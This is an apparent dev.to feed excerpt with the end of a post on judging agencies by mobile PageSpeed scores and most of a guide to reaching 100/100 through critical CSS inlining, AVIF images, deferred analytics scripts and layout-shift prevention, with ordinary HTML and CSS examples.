&lt;p&gt;Ask for &lt;strong&gt;mobile&lt;/strong&gt; PageSpeed scores, not desktop. Desktop scores can be 30+ points higher and mask serious problems. Google uses mobile for rankings—that's the number that matters.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Ask about platform limitations
&lt;/h3&gt;

&lt;p&gt;Some platforms cannot achieve high performance regardless of optimization effort:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Wix, Squarespace: Typically limited to 60-80/100&lt;/li&gt;
&lt;li&gt;WordPress + heavy page builders: Often limited to 70-85/100&lt;/li&gt;
&lt;li&gt;Custom development or lightweight frameworks: 90-100/100 achievable&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ask directly: "What performance scores do your sites typically achieve on mobile?"&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Verify with live testing
&lt;/h3&gt;

&lt;p&gt;Don't trust screenshots or claims. Run PageSpeed Insights on 3-5 live client sites from their portfolio. Look for consistency. Sites averaging below 75/100 suggest systematic issues rather than isolated cases.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Ask technical questions
&lt;/h3&gt;

&lt;p&gt;A few specific questions reveal expertise quickly:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;"How do you handle render-blocking resources?"&lt;/li&gt;
&lt;li&gt;"What image formats do you use and why?"&lt;/li&gt;
&lt;li&gt;"How do you prevent layout shift?"&lt;/li&gt;
&lt;li&gt;"What causes poor mobile scores and how do you address it?"&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A qualified developer will welcome these questions and provide specific answers. Vague responses or deflection suggest limited expertise in performance optimization.&lt;/p&gt;




&lt;h2&gt;
  
  
  The honest take
&lt;/h2&gt;

&lt;p&gt;The agencies shipping 30-50/100 sites aren't incompetent—they've optimized for different outcomes. Fast delivery, easy client editing, familiar workflows. Performance simply isn't their priority.&lt;/p&gt;

&lt;p&gt;That's a valid business decision for them. But it shouldn't be invisible to their clients.&lt;/p&gt;

&lt;p&gt;If you're paying professional rates for web development, you deserve to know what performance you're getting. A 30-second PageSpeed test reveals more about technical quality than any portfolio page or sales call. The data is objective, free, and available to anyone.&lt;/p&gt;

&lt;p&gt;I focus on performance because it directly affects business outcomes. Fast sites convert better, rank higher, and create better user experiences. This isn't the only valid approach—it's the approach I've chosen to specialize in.&lt;/p&gt;

&lt;p&gt;Some businesses will prioritize performance. Some won't. For those who care, the evaluation framework above will help you find developers who share that priority.&lt;/p&gt;




&lt;h2&gt;
  
  
  What should you do with this information?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Test your current site:&lt;/strong&gt; Run PageSpeed Insights (pagespeed.web.dev) on mobile. If you score below 70/100, there's significant room for improvement affecting your search rankings and conversions daily.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Verify these claims:&lt;/strong&gt; Visit &lt;a href="https://medconnect.codecrank.ai" rel="noopener noreferrer"&gt;medconnect.codecrank.ai&lt;/a&gt; or &lt;a href="https://ky.homejourney.app" rel="noopener noreferrer"&gt;ky.homejourney.app&lt;/a&gt; and test them yourself. Then test any agency portfolio site. The contrast is measurable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Make informed decisions:&lt;/strong&gt; Use the evaluation framework above when assessing web development options. Ask specific questions, test actual work, verify claims with data.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Performance data verified with Google Lighthouse, November 2025. Site identities anonymized.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>performance</category>
      <category>webperf</category>
      <category>javascript</category>
    </item>
    <item>
      <title>How to Achieve 100/100 on PageSpeed Insights</title>
      <dc:creator>Daniel Tofan</dc:creator>
      <pubDate>Sat, 22 Nov 2025 21:55:52 +0000</pubDate>
      <link>https://dev.to/danieltofan/how-to-achieve-100100-on-pagespeed-insights-39e9</link>
      <guid>https://dev.to/danieltofan/how-to-achieve-100100-on-pagespeed-insights-39e9</guid>
      <description>&lt;p&gt;&lt;strong&gt;Reading time:&lt;/strong&gt; 9 minutes&lt;/p&gt;




&lt;h2&gt;
  
  
  Why write about PageSpeed optimization in 2025?
&lt;/h2&gt;

&lt;p&gt;PageSpeed optimization isn't new. Google released Lighthouse in 2016, and performance best practices have been documented for years. You might expect that by 2025, most professional websites would score well.&lt;/p&gt;

&lt;p&gt;The opposite is true.&lt;/p&gt;

&lt;p&gt;Modern websites are often slower than sites built five years ago. Despite faster networks and more powerful devices, the average website in 2025 is heavier, more complex, and performs worse than its predecessors. Why?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The complexity creep:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Modern frameworks ship more JavaScript by default&lt;/li&gt;
&lt;li&gt;Analytics, marketing pixels, and chat widgets accumulate over time&lt;/li&gt;
&lt;li&gt;High-resolution images and videos are now standard&lt;/li&gt;
&lt;li&gt;Third-party integrations (payment processors, CRMs, booking systems) each add overhead&lt;/li&gt;
&lt;li&gt;"It works on my machine" testing misses real-world mobile performance&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I regularly encounter professionally built websites from 2024-2025 scoring 40-70/100. These aren't old legacy sites—they're new builds using modern tools, costing thousands of dollars, from established agencies.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why does achieving 100/100 matter?
&lt;/h2&gt;

&lt;p&gt;You might ask: "Isn't 85/100 good enough? Does the last 15 points really matter?"&lt;/p&gt;

&lt;p&gt;The answer depends on what you're optimizing for.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The business case:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Google's research shows that 53% of mobile users abandon sites taking longer than 3 seconds to load. Each additional second of load time correlates with approximately 7% reduction in conversions. These aren't small numbers—they directly affect revenue.&lt;/p&gt;

&lt;p&gt;For a business with 10,000 monthly visitors and a 3% conversion rate:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A fast site (2 seconds, 100/100 score): 300 conversions/month&lt;/li&gt;
&lt;li&gt;A slow site (8 seconds, 60/100 score): Approximately 210 conversions/month&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That's 90 lost conversions monthly. At $100 average transaction value, that's $108,000/year in lost revenue.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The SEO case:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Core Web Vitals became Google ranking factors in 2021. Two identical sites with identical content will rank differently based on performance. The faster site gets more organic traffic. More traffic means more conversions. The performance advantage compounds over time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The user experience case:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Beyond metrics, there's a qualitative difference between a site that scores 85/100 and one that scores 100/100. The 100/100 site feels instant. Content appears immediately. Nothing jumps around. Users trust it more, engage more, and return more often.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The competitive advantage:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If your competitors score 60-70/100 and you score 100/100, you've created a measurable advantage in user experience, search rankings, and conversion rates. In competitive markets, these margins matter.&lt;/p&gt;

&lt;p&gt;So yes, the last 15 points matter—not for the score itself, but for the business outcomes those points represent.&lt;/p&gt;




&lt;h2&gt;
  
  
  What does a perfect PageSpeed score require?
&lt;/h2&gt;

&lt;p&gt;Most developers know the basics—optimize images, minify CSS, reduce JavaScript. But knowing the basics and achieving 100/100 are different things. The gap between 85/100 and 100/100 isn't about doing more of the same. It requires understanding which techniques have the most impact and implementing them correctly.&lt;/p&gt;

&lt;p&gt;I've built multiple sites scoring 100/100/100/100 across all four metrics (Performance, Accessibility, Best Practices, SEO). In this guide, I'll explain the specific techniques that matter most, why they work, and what to watch out for.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;You'll learn:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How critical CSS inlining affects render times&lt;/li&gt;
&lt;li&gt;Why image format choice matters more than compression level&lt;/li&gt;
&lt;li&gt;How to eliminate render-blocking resources&lt;/li&gt;
&lt;li&gt;What causes layout shift and how to prevent it&lt;/li&gt;
&lt;li&gt;How to test performance under real-world conditions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Before we start, a reality check: getting to 100/100 takes time the first time through—typically 4-6 hours for a complete site. Once you understand the patterns, subsequent optimizations go faster. But there's no shortcut around learning what works.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why does critical CSS inlining improve scores?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The problem:&lt;/strong&gt; When browsers load a page, external CSS files block rendering. The browser downloads your HTML, encounters &lt;code&gt;&amp;lt;link rel="stylesheet"&amp;gt;&lt;/code&gt;, pauses rendering, downloads the CSS, parses it, then finally renders the page. This delay affects your Largest Contentful Paint (LCP) score significantly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The solution:&lt;/strong&gt; Inline your critical CSS directly in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; tag. The browser can render immediately without waiting for external files.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A real example:&lt;/strong&gt; A professional services site I optimized scored 94/100 before CSS inlining. After moving critical styles inline, it scored 100/100. The only change was moving approximately 3KB of above-the-fold CSS into the HTML head.&lt;/p&gt;

&lt;p&gt;Here's what that structure looks like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;style&amp;gt;&lt;/span&gt;
    &lt;span class="c"&gt;/* Critical CSS - inline everything needed for initial render */&lt;/span&gt;
    &lt;span class="nt"&gt;body&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;margin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;font-family&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;system-ui&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;sans-serif&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="nt"&gt;header&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;background&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#1a1a1a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="no"&gt;white&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1rem&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="nc"&gt;.hero&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;min-height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;400px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;background&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;linear-gradient&lt;/span&gt;&lt;span class="p"&gt;(...);&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/style&amp;gt;&lt;/span&gt;

  &lt;span class="c"&gt;&amp;lt;!-- Load non-critical CSS asynchronously --&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;link&lt;/span&gt; &lt;span class="na"&gt;rel=&lt;/span&gt;&lt;span class="s"&gt;"stylesheet"&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"/full-styles.css"&lt;/span&gt; &lt;span class="na"&gt;media=&lt;/span&gt;&lt;span class="s"&gt;"print"&lt;/span&gt; &lt;span class="na"&gt;onload=&lt;/span&gt;&lt;span class="s"&gt;"this.media='all'"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;What to watch for:&lt;/strong&gt; Keep inline CSS under 8KB. Beyond this size, you're delaying HTML download time, which can actually hurt your First Contentful Paint score instead of helping it. Extract only the styles needed for above-the-fold content.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Framework considerations:&lt;/strong&gt; If you're using Nuxt, Next.js, or similar frameworks, look for build-time CSS extraction features. Nuxt's &lt;code&gt;experimental.inlineSSRStyles&lt;/code&gt; handles this automatically during static generation.&lt;/p&gt;




&lt;h2&gt;
  
  
  How do modern image formats reduce file size?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The problem:&lt;/strong&gt; Images typically account for 60-80% of page weight. Unoptimized images directly affect load times, especially on mobile networks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The solution:&lt;/strong&gt; Use AVIF format where supported, with WebP fallback, and serve appropriately sized images for different viewports.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A real example:&lt;/strong&gt; I built a healthcare website (&lt;a href="https://medconnect.codecrank.ai" rel="noopener noreferrer"&gt;medconnect.codecrank.ai&lt;/a&gt;) with professional medical imagery and team photos. Initial image exports totaled approximately 2.5MB per page. After optimization:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Format conversion:&lt;/strong&gt; Changed from PNG/JPG to AVIF (50-80% smaller at equivalent quality)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Responsive sizing:&lt;/strong&gt; Served 400px images for mobile, 1200px for desktop (not full 4K resolution for all devices)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Result:&lt;/strong&gt; Lightweight page weight with excellent visual quality&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Performance score:&lt;/strong&gt; 100/100/100/100 (perfect scores across all metrics)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;The implementation:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;picture&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;source&lt;/span&gt; &lt;span class="na"&gt;srcset=&lt;/span&gt;&lt;span class="s"&gt;"hero-400.avif 400w, hero-800.avif 800w, hero-1200.avif 1200w"&lt;/span&gt;
          &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"image/avif"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;source&lt;/span&gt; &lt;span class="na"&gt;srcset=&lt;/span&gt;&lt;span class="s"&gt;"hero-400.webp 400w, hero-800.webp 800w, hero-1200.webp 1200w"&lt;/span&gt;
          &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"image/webp"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"hero-800.jpg"&lt;/span&gt;
       &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"Hero image"&lt;/span&gt;
       &lt;span class="na"&gt;width=&lt;/span&gt;&lt;span class="s"&gt;"1200"&lt;/span&gt;
       &lt;span class="na"&gt;height=&lt;/span&gt;&lt;span class="s"&gt;"800"&lt;/span&gt;
       &lt;span class="na"&gt;loading=&lt;/span&gt;&lt;span class="s"&gt;"lazy"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/picture&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;How browsers handle this:&lt;/strong&gt; Modern browsers automatically select the best format and size they support. Chrome uses AVIF, Safari uses WebP (AVIF support pending), and older browsers fall back to JPG. Mobile devices get 400px versions, desktop gets 1200px. You write it once, browsers handle the rest.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tools worth knowing:&lt;/strong&gt; Squoosh (squoosh.app) for manual conversion with quality preview, or Sharp (Node.js library) for batch processing. Both give you control over quality settings per image.&lt;/p&gt;




&lt;h2&gt;
  
  
  What makes resources render-blocking?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The problem:&lt;/strong&gt; External JavaScript files block the browser's main thread during download and execution. Even optimized scripts add 200-500ms of blocking time, which directly affects your Time to Interactive and Total Blocking Time scores.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The solution:&lt;/strong&gt; Defer JavaScript execution until after initial page render. Load scripts after the page displays content to users.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Google Analytics consideration:&lt;/strong&gt; Standard GA4 implementation is the most common performance issue I encounter. The default tracking code blocks rendering and adds approximately 500ms to LCP.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Standard implementation (blocks rendering):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;async&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"https://www.googletagmanager.com/gtag/js?id=G-XXXXXXXXXX"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Performance-optimized implementation:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
  &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;load&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Load GA4 after page fully renders&lt;/span&gt;
    &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;script&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;script&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://www.googletagmanager.com/gtag/js?id=G-XXXXXXXXXX&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;head&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The trade-off:&lt;/strong&gt; This approach won't track users who leave within the first 2 seconds of page load. In practice, this represents less than 1% of traffic for most sites and is worth the performance improvement.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What to check:&lt;/strong&gt; Review your &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; section. Any &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag without &lt;code&gt;defer&lt;/code&gt; or &lt;code&gt;async&lt;/code&gt; attributes is blocking. Move it to the page bottom or defer its execution.&lt;/p&gt;




&lt;h2&gt;
  
  
  How do you prevent cumulative layout shift?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The problem:&lt;/strong&gt; Content shifting position while the page loads creates a poor user experience and hurts your CLS (Cumulative Layout Shift) score. Common causes include images loading without reserved space, web fonts swapping in, or ads inserting dynamically.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The solution:&lt;/strong&gt; Reserve space for all content before it loads.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A real example:&lt;/strong&gt; A professional services site I built maintains a CLS score of 0 (zero layout shift). Here's the approach:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Set explicit image dimensions:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"hero.jpg"&lt;/span&gt; &lt;span class="na"&gt;width=&lt;/span&gt;&lt;span class="s"&gt;"1200"&lt;/span&gt; &lt;span class="na"&gt;height=&lt;/span&gt;&lt;span class="s"&gt;"800"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"Hero"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="c"&gt;&amp;lt;!-- Browser reserves 1200x800 space before image loads --&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;2. Use CSS aspect-ratio for responsive images:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="nt"&gt;img&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;100%&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;auto&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="py"&gt;aspect-ratio&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c"&gt;/* Maintains space even as viewport changes */&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;3. Configure fonts to display fallbacks immediately:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="k"&gt;@font-face&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;font-family&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;'CustomFont'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;src&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sx"&gt;url('/fonts/custom.woff2')&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="py"&gt;font-display&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;swap&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c"&gt;/* Show system font immediately, swap when custom font loads */&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The result:&lt;/strong&gt; Content positions remain stable throughout the load process. The page feels responsive and professional.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Debugging layout shift:&lt;/strong&gt; Run PageSpeed Insights and review the filmstrip view. If you see elements jumping position, add explicit dimensions or aspect-ratios to the shifting elements.&lt;/p&gt;




&lt;h2&gt;
  
  
  What common issues occur during optimization?
&lt;/h2&gt;

&lt;p&gt;Even when following established practices, you might encounter these issues:&lt;/p&gt;

&lt;h3&gt;
  
  
  "I inlined my CSS but my score dropped"
&lt;/h3&gt;

&lt;p&gt;This happens when inline CSS exceeds 8-10KB. The browser must download the entire HTML file before rendering anything, which delays First Contentful Paint.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt; Extract only above-the-fold styles. Identify which CSS is needed for initial viewport rendering, inline only that portion, and load the rest asynchronously:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;link&lt;/span&gt; &lt;span class="na"&gt;rel=&lt;/span&gt;&lt;span class="s"&gt;"stylesheet"&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"/full-styles.css"&lt;/span&gt; &lt;span class="na"&gt;media=&lt;/span&gt;&lt;span class="s"&gt;"print"&lt;/span&gt; &lt;span class="na"&gt;onload=&lt;/span&gt;&lt;span class="s"&gt;"this.media='all'"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  "My AVIF images appear blurry or pixelated"
&lt;/h3&gt;

&lt;p&gt;Default AVIF quality settings are often too aggressive. A quality setting of 50 works for photographs but degrades images containing text or graphics.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt; Increase quality to 75-85 for images with text or fine details. Use image conversion tools that show quality previews before batch processing.&lt;/p&gt;

&lt;h3&gt;
  
  
  "CLS score remains poor despite setting dimensions"
&lt;/h3&gt;

&lt;p&gt;Common culprits beyond images: web fonts loading (text reflows when custom font loads), ads inserting dynamically, or content above images pushing them down during load.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Solutions:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Fonts: Use &lt;code&gt;font-display: swap&lt;/code&gt; and preload critical font files&lt;/li&gt;
&lt;li&gt;Images: Always set explicit &lt;code&gt;width&lt;/code&gt; and &lt;code&gt;height&lt;/code&gt; attributes or use CSS &lt;code&gt;aspect-ratio&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Dynamic content: Set minimum heights on containers before content populates&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  "Performance is great on desktop but needs work on mobile"
&lt;/h3&gt;

&lt;p&gt;Mobile devices have slower processors and network connections. What renders quickly on a development machine often struggles on mid-range Android phones over 4G networks. If you're only testing on desktop, you're missing how most users experience your site.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt; Always test mobile performance with Chrome DevTools throttling enabled (4x CPU slowdown, Fast 3G network). This simulates realistic mobile conditions and reveals actual user experience. Aim for 90+ on mobile, and you will likely get 100 on desktop.&lt;/p&gt;




&lt;h2&gt;
  
  
  How should you test performance?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The challenge:&lt;/strong&gt; Your site might perform well on your development machine but struggle in real-world conditions. Mobile users on 4G with mid-range phones experience performance very differently than you do on a MacBook Pro with fiber internet.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The testing process:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Run PageSpeed Insights&lt;/strong&gt; (pagespeed.web.dev) on mobile configuration first&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check Core Web Vitals against targets:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;LCP (Largest Contentful Paint): under 2.5 seconds&lt;/li&gt;
&lt;li&gt;TBT (Total Blocking Time): under 200ms&lt;/li&gt;
&lt;li&gt;CLS (Cumulative Layout Shift): under 0.1&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Review the filmstrip:&lt;/strong&gt; Look for empty frames where nothing renders&lt;/li&gt;
&lt;li&gt;
